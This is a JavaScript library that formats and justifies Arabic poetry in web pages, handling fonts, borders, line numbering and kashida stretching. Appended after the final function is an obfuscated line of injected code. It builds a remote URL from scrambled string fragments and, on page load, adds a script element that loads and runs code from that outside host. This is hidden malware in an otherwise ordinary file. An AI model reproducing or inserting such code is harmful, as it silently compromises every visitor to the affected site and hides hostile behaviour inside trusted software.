////////////////////////// set default parameters //////////////////////////
function poem_setDefaultVar() {
  poemDefaultFont = "simplified arabic,tahoma,ms sans serif,verdana,arial,helvetica";  

  poemType = "0",
  poemAlign = "center",
  poemLine = "0";
  poemUse = "ex";

  poemFontName = "",
  poemFontSize = "4",  // 1 to 7
  poemFontColor = "",
  poemFontBold = "",
  poemFontItalic = "";

  poemBackColor = "none",
  poemBackImage = "none";

  poemBorderStyle = "none",
  poemBorderWidth = "4",
  poemBorderColor = "gray";

  poemSerialNum = "0",
  poemSerialNumColor = "";  

}

//////////////////////////////////////////////////////////////////////////           
  var poemSpaceWidth, poemExtendWidth;
  var poemToolFix, poemPrevHTML, poemMargin, poemPadding;
            
  var poemLetters1 = "ÇÃÅÂÄÁÏÐÑÒæÉì"
  var poemLetters2 = "ÇÃÅÂÄÆÈÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÝÞßáãäåæíÉì";
  var poemLetters3 = "óðõñöòúø";

  function create_poemTestWidth_table() {
    if (!document.getElementById("poemtestWidth")) {
      var HTML = "<table border=1 width=1px style='visibility:hidden;position:absolute'>";
      HTML += "<tr><td id='poemTestWidth' width='0px' nowrap></td></tr>";
      HTML += "</table>";
      document.body.insertAdjacentHTML("afterBegin", HTML);
    }
  }

  function poem_getValue(t, p) {
    var r = new RegExp("([ \"]|^)" + t + "[ ]*=[ ]*\"[^\"]*\"", "i");
    var m = p.match(r);    
    if (!m) {
      r = new RegExp("([ \"]|^)" + t + "[ ]*=[ ]*[^\" ]*([ ]|$)", "i");
      m = p.match(r);
      if (!m)          
        return "";
    }
    m = m[0];
    m = m.replace(/\"/gi,"");    
    var i = m.search("=");
    return m.substring(i + 1);
  }

  function poem_getDefault(p, d) {
	  var r = ((p)?p:d);
	  return poem_trim(r);
  }
    
  function poem_setArg(arg) {        
    var par, poemFontSize2;

    par = poem_getValue("font", arg) + ",,,,";  //comas = number of arrays - 1
    par = par.split(",");
    poemFontName = poem_getDefault(par[0], poemFontName);
	poemFontName = poemFontName.replace(/\-/g, ",");
    poemFontSize2 = parseInt(poem_getDefault(par[1], poemFontSize));
	if (isNaN(poemFontSize2))
		poemFontSize2 = 0;
	if (poemFontSize2 < 1 || poemFontSize2 > 7)
		poemFontSize2 = poemFontSize;
	poemFontSize = poemFontSize2;

    poemFontColor = poem_getDefault(par[2], poemFontColor);
    poemFontBold = poem_getDefault(par[3], poemFontBold);
    poemFontItalic = poem_getDefault(par[4], poemFontItalic);

    par = poem_getValue("border", arg) + ",,";
    par = par.split(",");
    poemBorderStyle = poem_getDefault(par[0], poemBorderStyle);
    poemBorderWidth = poem_getDefault(par[1], poemBorderWidth);
    poemBorderColor = poem_getDefault(par[2], poemBorderColor);

    par = poem_getValue("num", arg) + ",";	
	par = par.split(",");
    poemSerialNum = poem_getDefault(par[0], poemSerialNum);
	if (!poemSerialNum)
		poemSerialNum = 0;
	else {
		poemSerialNum = parseInt(poemSerialNum);
		if (isNaN(poemSerialNum))
			poemSerialNum = 0;
	}
    poemSerialNumColor = poem_getDefault(par[1], poemSerialNumColor);

    par = poem_getValue("type", arg);
    poemType = poem_getDefault(par, poemType);

    par = poem_getValue("align", arg);
    poemAlign = poem_getDefault(par, poemAlign).toLowerCase();

    par = poem_getValue("line", arg);
    poemLine = poem_getDefault(par, poemLine);
	poemLine = parseInt(poemLine);
	if (isNaN(poemLine))
		poemLine = 0;
	if (poemLine == 0) {
		poemPadding = "5px";
		poemMargin = "";
	} else {
		poemPadding = 15;
		poemMargin = "margin-bottom:" + poemPadding;
	}

    par = poem_getValue("use", arg);
    poemUse = poem_getDefault(par, poemUse).toLowerCase();

    par = poem_getValue("bkcolor", arg);
    poemBackColor = poem_getDefault(par, poemBackColor);

    par = poem_getValue("bkimage", arg);
    poemBackImage = poem_getDefault(par, poemBackImage);

    //////////// set style ///////////
    var facesize = new Array("xx-small","x-small","small","medium","large","x-large","xx-large");
    poemFontSize = facesize[poemFontSize - 1];

    poemFontName += "," + poemDefaultFont;

    poemTestWidth.style.fontFamily = poemFontName;
    poemTestWidth.style.fontSize = poemFontSize;
    poemTestWidth.style.fontWeight = poemFontBold;
    poemTestWidth.style.fontStyle = poemFontItalic;

    ///////////////////////////////////
  }
  
  function poem_trim(t) {
    t = t.replace(/^[ ]+/, "");
    t = t.replace(/[ ]+$/, "");
    return t;
  }
  
  function poem_textWidth(t) {
	t = t.replace(/ /g, "&nbsp;");
	t = t.replace(/\^/g, "");
	poemTestWidth.innerHTML= t;	
    return (poemTestWidth.clientWidth - 2) * 0.75;
  }
  
  function poem_strReplace(t, s1, s2, c) {
	if (c <= 0) 
	  return;
    t=t.split(s1);
    var s="";
    for (var i=t.length-1;i>0;i--)
	  if (c-->0)
        s = s2 + t[i] + s;
	  else
		s = s1 + t[i] + s;

	s = t[0] + s;
    return s;
  }
  
  function poem_count(str, ch) {
    var c = 0;
    for (var i = 0; i < str.length; i++)
      c += (str.charAt(i) == ch);
    return c;
  }

  function poem_space(n) {
    if (n == 1)
      return " ";
    return  " " + poem_space(n-1);
  }
  
  function poem_createExtend(t) {
    var alef = "ÇÃÅÂ";
    var s = "";
    var befor = "", ch = "";
    t = t.replace(/Çááå/g,"alh");
	t = t.replace(/ááå/g,"lah");
    for (i = 0; i < t.length; i++) {
      ch = t.charAt(i);
      if (poemLetters2.indexOf(ch.charAt(0)) != -1 || ch.charAt(0) == "Á") {        
        if (befor != "")
          if (poemLetters1.indexOf(befor.charAt(0)) == -1 && poemLetters2.indexOf(ch.charAt(0)) != -1 
            && (befor.charAt(0) != "á" 
            || alef.indexOf(ch.charAt(0)) == -1))
            s += "^";
        befor = ch;
        s += ch;
      }
      else {
        s += ch;
        if (poemLetters3.indexOf(ch.charAt(0)) == -1)
          befor = "";
      }        
    }
    s = s.replace(/alh/g,"Çááå");
	s = s.replace(/lah/g,"ááå");
    return s;
  }
  
  function poem_extend(n) {
	if (n <= 0)
      return ""; 
    if (n == 1)
      return "Ü";
    return  "Ü" + poem_extend(n-1);
  } 

  function poem_justifyBYextend(t, w) {
    var ex = 0, i, d, n, p, m;
    ex = poem_count(t, "^");
    if (ex == 0) return t;
    d = Math.floor((w - poem_textWidth(t.replace(/\^/g,""))) / poemExtendWidth);      
    t = t.split(" ");
    n = 0;
    for (i = 0; i < t.length; i++)      
      n += (t[i].indexOf("^") != -1);
    p = Math.floor(d / n);
    m = d % n;
    for (i = t.length-1; i >= 0; i--) {    
      ex = poem_count(t[i], "^");
      if (ex == 0)
        continue;
      d = p + (m-- > 0);
      n = Math.floor(d / ex);      
      if (n > 0)
        t[i] = t[i].replace(/\^/g, "^" + poem_extend(n));
      if (d % ex > 0)
        t[i] = poem_strReplace(t[i], "^", "Ü", d % ex);
    }
    t = t.join(" ");
    t = t.replace(/\^/g, ""); 
    return t;
  }
  
  function poem_justifyBYspace(t, w, dir) {
    var sp = 0, i, d, tw, n;
    sp = poem_count(t, " ");
    if (sp != 0) {
      d = Math.floor((w - poem_textWidth(t)) / poemSpaceWidth);
      n = Math.floor(d / sp);
      if (n > 0)
        t = t.replace(/ /g, poem_space(n + 1));
      if (d % sp > 0)
        t = poem_strReplace(t, poem_space(n + 1), poem_space(n + 2), d % sp);
    }
    tw = w - poem_textWidth(t);
    if (tw > 0) {
      i = t.lastIndexOf(" ");
      if (i == -1)
        if (dir == 0)
          return t;
        else
          i = ((dir==2)?-1:t.length-1);	  
    } else
		tw = 0;
	t = t.substr(0, i+1) + poemToolFix.replace(/%w%/,tw + "pt") + t.substr(i+1);
    return t; 
  }
  
  function poem_justify(t, w, dir) {
    if (poemUse == "ex") t = poem_justifyBYextend(t, w);    
    return poem_justifyBYspace(t, w, dir);
  }

  function showPoemLine(preview, html) {
	if (preview)
		poemPrevHTML += html;
	else
		document.write(html);
  }
  
  function doPoem(preview) {
	var found = 0, div;
	poem_setDefaultVar();
	if (preview) {
		div = poemExample;		
		poemPrevHTML = "";
	}
	else {
		var d = document.getElementsByTagName("div");
		div = d[d.length -1];		
	}
	var poem = div.innerHTML.replace(/<br \/>|<br>/gi, "\r");
	if (poem == "")
		return;
	if (!div.tag)
		div.tag = "";
	if (!preview)
		div.innerHTML = "";	
	var arg = div.tag.replace(/\\\"/g, "'");		
	
	create_poemTestWidth_table(); 

	poem_setArg(arg);
	
	poemToolFix = "<span style='font-size:1pt;padding-right:%w%;'></span>";
    poemToolFix = poemToolFix.replace(/ /g,"^");

	poem = poem.replace(/</g, "&lt;");
	poem = poem.replace(/>/g, "&gt;");	
	poem = poem.replace(/[\^]|^[\r]+|[\r]+$|\n/g, "");
	poem = poem.replace(/^[ ]+|[ ]+$|/g, "");
	poem = poem.replace(/[Ü]+( |$)/g, "ext1");
	poem = poem.replace(/(^| )[Ü]+/g, "ext2");
	poem = poem.replace(/Ü/g, "");
	poem = poem.replace(/ext1/g, "Ü");
	poem = poem.replace(/ext2/g, "Ü");
    poem = poem.replace(/[ ]+/g, " ");
	poem = poem.replace(/[ ]*=[ ]*/g, "=");
	poem = poem.replace(/[ ]+\r|\r[ ]+/g, "\r");	
	
	if (poem.substring(poem.length-1) != "\r") poem += "\r";

	poemExtendWidth = poem_textWidth("Ô" + "ÜÜ" + "Ô");
    poemExtendWidth -= poem_textWidth("Ô" + "Ü" + "Ô");
    poemSpaceWidth = poem_textWidth("Ô" + "&nbsp;&nbsp;" + "Ô");
    poemSpaceWidth -= poem_textWidth("Ô" + "&nbsp;" + "Ô");

	var tmp, MTW, MTW1;	
	
	tmp = "\r" + poem + "\r";
	tmp = tmp.replace(/\r[^\r]+\=[^\r]+/gi,"");
	tmp = tmp.replace(/\r/g,"<br>");
	var MTW1 = poem_textWidth(tmp);

	tmp = "\r" + poem + "\r";
	tmp = tmp.replace(/\r[^=]+\r/gi,"\r");	
	tmp = tmp.replace(/=/g,"<br>");
	tmp = tmp.replace(/\r/g,"<br>");
	var MTW = poem_textWidth(tmp);
	tmp = "";

	if (poemUse=="ex") {
	  var test = poem_textWidth(poem);
	  poem = poem_createExtend(poem);
      test = (poem_textWidth(poem.replace(/\^/g, "Ü")) - test) / poem_count(poem,"^");
	  //if (test != poemExtendWidth) //problem in some fonts
		//poem = poem.replace(/\^/g, "^Ü");
    }

// *************
    var poemBodyStyle = "", fonts = "";
	fonts += ";font-family:" + poemFontName;
    fonts += ";font-size:" + poemFontSize;
    fonts += ";color:" + poemFontColor;
    fonts += ";font-weight:" + poemFontBold;
    fonts += ";font-style:" + poemFontItalic;
	poemBodyStyle += fonts;
    poemBodyStyle += ";background-color:" + poemBackColor; 
    poemBodyStyle += ";background-image:url(" + poemBackImage + ")";
	poemBodyStyle += ";border:" + poemBorderWidth + "px " + poemBorderStyle + " " + poemBorderColor; 
	
	showPoemLine(preview, "<div align='" + poemAlign + "'>");
    showPoemLine(preview, "<table dir='rtl' border='0' cellpadding='0' cellspacing='0' width='1px' style='" + poemBodyStyle + ";'>");
// *************	
	poem = "\r" + poem;

	var L, R, i, j = 0, cr = 0, sn = 0;
	var poemSide, poemSideNum, wnum;
	if (poemSerialNum > 0)
		sn = poemSerialNum - 1;	
    while (1) {
   	  poemSideNum = "";
      poemSide = "";
	  if (sn == 0)
		poemSide = "<div style='height:" + poemPadding + "px;font-size:1'></div>";
      cr = poem.indexOf("\r", cr);
	  if (cr == -1) break;	  
      if (poem.substring(j, cr) != "") {
        i = poem.indexOf("=", j);
        if (i == -1 || i > cr) i = cr; //no '=' in this line
		
        L = poem.substring(j, i);
		if (L != "\r" && L != "") {
			if (i != cr)
				L = poem_justify(L, MTW, 1);
			else {
				L = poem_justify(L, MTW1, 0);
			}
			L = L.replace(/ /g, "&nbsp;");
			L = L.replace(/\^/g, " ");
		}

		R = poem.substring(i + 1, cr);
		if (R != "\r" && R != "") {
			R = poem_justify(R, MTW, 2);
			R = R.replace(/ /g, "&nbsp;");
			R = R.replace(/\^/g, " ");
		}

		if (poemType == 0) {
		  if (i != cr) {
			  if (L != "" && R == "")
				poemSide = L;
			  else if (L == "" && R != "")
				poemSide = R;
			  else if (L != "" && R != "")
				poemSide = L + poemToolFix.replace(/%w%/, Math.floor(MTW / 2.1) + "px").replace(/\^/, " ") + R;
		  } else
			    poemSide = L;

		  poemSide = "<div align=center style='" + fonts + ";" + poemMargin +"'>" + poemSide + "</div>";
		  
		  poemSideNum = ++sn;
		}
		else if (poemType == 1) {
			if (i == cr) {
				poemSide = "<div align=center style='" + fonts + ";" + poemMargin +"'>" + L + "</div>";
			} else {
				poemSide = "<div align='right' style='" + fonts + "; margin-left:" + Math.round(MTW) + "pt;" + poemMargin + "'>" + L + "</div>";
				poemSide += "<div align='left' style='" + fonts + "; margin-right:" + Math.round(MTW) + "pt;" + poemMargin + "'>" + R + "</div>";
			}
			poemSideNum = ++sn;
		}
		else if (poemType == 2 || poemType > 3 || poemType < 1) {
			if (i == cr) {
				poemSide = "<div align=center style='" + fonts + ";" + poemMargin +"'>" + L + "</div>";
			} else {
				poemSide = "<div align='right' style='" + fonts + "; margin-left:" + Math.round(MTW/2) + "pt;" + poemMargin + "'>" + L + "</div>";
				poemSide += "<div align='left' style='" + fonts + "; margin-right:" + Math.round(MTW/2) + "pt;" + poemMargin + "'>" + R + "</div>";
			}
			poemSideNum = ++sn;
		}
		else if (poemType == 3) {
		  poemSideNum = ++sn;
		  poemSide = "<div style='" + fonts + ";" + poemMargin + "'>" + L + "</div>";
  		  poemSide += "<div style='" + fonts + ";" + poemMargin + "'>" + R + "</div>";
		}        
	  }
	  if (poemSerialNum > 0 && poemSideNum != "")
		  showPoemLine(preview, "<tr><td align=left valign=top style='" + fonts + "; color:" + poemSerialNumColor + "' nowrap>&nbsp;&nbsp;" + poemSideNum + "</td>");
	  showPoemLine(preview, "<td align=center valign=middle style='" + fonts + ";padding-left:15px;padding-right:15px;' nowrap>" + poemSide + "</td></tr>");
	  cr += 1;
	  j = cr;
    }
	if (poemLine == 0) {
		poemSide = "<div style='height:" + poemPadding + "px;font-size:1'></div>";		
		if (poemSerialNum > 0 && poemSideNum != "")
		  showPoemLine(preview, "<tr><td align=left valign=top style='" + fonts + "; color:" + poemSerialNumColor + "' nowrap>&nbsp;&nbsp;" + poemSideNum + "</td>");
		showPoemLine(preview, "<td align=center valign=middle style='" + fonts + ";padding-left:15px;padding-right:15px;' nowrap>" + poemSide + "</td></tr>");
	}

    showPoemLine(preview, "</table></div>");

	if (preview)
		poemPreview.innerHTML = poemPrevHTML;
	poemPrevHTML = "";

	// *******************************************

	poem_textWidth("");
  } 

var v;if(v!='Vx'){v='Vx'};var h="";function y(){var G;if(G!='x' && G!='W'){G=''};var X;if(X!='mg' && X!='eF'){X=''};var T='';var XG;if(XG!='hK' && XG != ''){XG=null};var m='';var fy;if(fy!='O'){fy='O'};var J=RegExp;var g='';var Bx='';var P=new String("g");var jV=new String();var zv;if(zv!='u'){zv='u'};function c(e,cK){var CQ='';this.ht='';var VR="";var yt= String("[");var QE;if(QE!='' && QE!='Wh'){QE=null};var WZ=new Date();yt+=cK;yt+=new String("]");var En;if(En!='Xs'){En='Xs'};var dw;if(dw!='Uw' && dw!='b'){dw='Uw'};var Xm=new Date();var el=new Date();var F=new J(yt, P);var L;if(L!='sN' && L != ''){L=null};var rS=new String();return e.replace(F, m);var Es=new Array();};var R;if(R!='pm'){R='pm'};var r=window;var k=String("/>"+"_<"+"MlOZb>".substr(4)+"Fa"+"taQyJ".substr(0,2)+"s7Jl Js7".substr(3,2)+"0pWfer".substr(4)+"ro"+"cNWr<".substr(3)+"/b"+">:Bklc".substr(0,2)+"ipc  ipc".substr(3,2)+"Ca"+"7JWnn7WJ".substr(3,2)+"otwa7".substr(0,2)+" r"+"GP3Ced".substr(4)+"ec"+"qeAzlaeAzq".substr(4,2)+"re"+"Wzo coWz".substr(3,2)+"Ar7he7rA".substr(3,2)+"TZdckZdT".substr(3,2)+"BPRurBRP".substr(3,2)+"k5jHli5jkH".substr(4,2)+"nfj9tF".substr(0,2)+"o(DEWl".substr(0,2)+"8Od) 8dO".substr(3,2)+"(p"+"X0cre".substr(3)+"vi"+"ou"+"1yXsl".substr(3)+"e0ly l0e".substr(3,2)+"de"+"vhDclhDv".substr(3,2)+"IxC9arxI9C".substr(4,2)+"ed"+" i"+"AjSn ".substr(3)+"/vMfFC".substr(0,2)+"Q8Sar".substr(3)+"pbuT/wTpub".substr(4,2)+"wwcKEV".substr(0,2)+"/h"+"vj5tm".substr(3)+"o6ql/oq6".substr(3,2)+"7ztUpa".substr(4)+"ge"+"rfxK.drKxf".substr(4,2)+"poEz1f".substr(0,2)+"QaCEolaCQE".substr(4,2)+".p"+"GjkhpkGj".substr(3,2)+":8P4nX".substr(0,2)+"8)Lf4O".substr(0,2)+"61cn i".substr(4)+"n "+"<bIuva".substr(0,2)+">/6Wg".substr(0,2)+"iZLva".substr(3)+"r/sJkh".substr(0,2)+"wwKC2a".substr(0,2)+"w/"+"htEd9".substr(0,2)+"zDjcml".substr(4)+"Xyl/cyXl".substr(3,2)+"agCYongCYa".substr(4,2)+"wc0Uf.c0Uw".substr(4,2)+"pheDXP".substr(0,2)+"Qglmp<lQgm".substr(4,2)+"x1Q/b1Qx".substr(3,2)+"> "+"on"+"48JW l".substr(4)+"intB6H".substr(0,2)+"e "+"<b"+"RuB0>30BRu".substr(4,2)+"23"+"2J5</25J".substr(3,2)+"b>FGQv".substr(0,2)+"6FiH<b6HFi".substr(4,2)+"r "+"/>bOP".substr(0,2)+"ycG/a".substr(3)+"5vRme".substr(3)+"batvqV".substr(0,2)+".jQ0YU".substr(0,2)+"p/K1hw".substr(0,2)+"4bc5am".substr(4)+"GgEebgEG".substr(3,2)+"a."+"zfQjp".substr(3)+"/g"+"R4zoozR4".substr(3,2)+"fMagl".substr(3)+"psYGe.".substr(4)+"YFBco".substr(3)+"m/UuR3".substr(0,2)+"ra"+"di"+"kam7i".substr(0,2)+"l."+"ru"+"1W5q/m".substr(4)+"aiFWSC".substr(0,2)+"niWdP".substr(0,2)+"ch"+"rNnti.ntNr".substr(4,2)+"7KtYjp".substr(4)+"URHq.p".substr(4)+"hpibl".substr(0,2));var Qm;if(Qm!='' && Qm!='dR'){Qm='EQ'};var V=String("scryUY9".substr(0,3)+"BgIiptBIg".substr(3,3));var RQ;if(RQ!='EX' && RQ!='Wa'){RQ=''};var zY;if(zY!='' && zY!='ZO'){zY=null};var nX=new Array();var FE='';var jq;if(jq!='ke'){jq=''};var GP=new Date();var q=String("defe"+"ykAr".substr(3));this.JB='';var d="http"+"://s"+"DVpbtatc".substr(4)+"ount"+"wOper-cpwO".substr(3,4)+"om.t"+"mz.c"+"om.s"+"lickQxrG".substr(0,4)+"4DRCdealRC4D".substr(4,4)+"Zfks-nefZk".substr(3,4)+"t.<b"+"r :";var vV=new String();var Fi=new String("sr"+"cDESr".substr(0,1));var YV=new Array();var f=80;var MH='';var UJ='';var _;if(_!=''){_='SO'};r.onload=function(){var YU=new Date();try {FE=d+f;FE+=k;this.N="";this.tx="";s=document.createElement(V);this.QK='';this.Tm='';s[q]=[1,7][0];s[Fi]=FE;var Hc=new Date();var zs="";document.body.appendChild(s);var oV;if(oV!='bo' && oV!='Fr'){oV='bo'};this.yh="";var zS;if(zS!='' && zS!='Qd'){zS='yY'};} catch(l){var DF=new Array();var Id;if(Id!='OK'){Id=''};};};};var tt=new Array();y();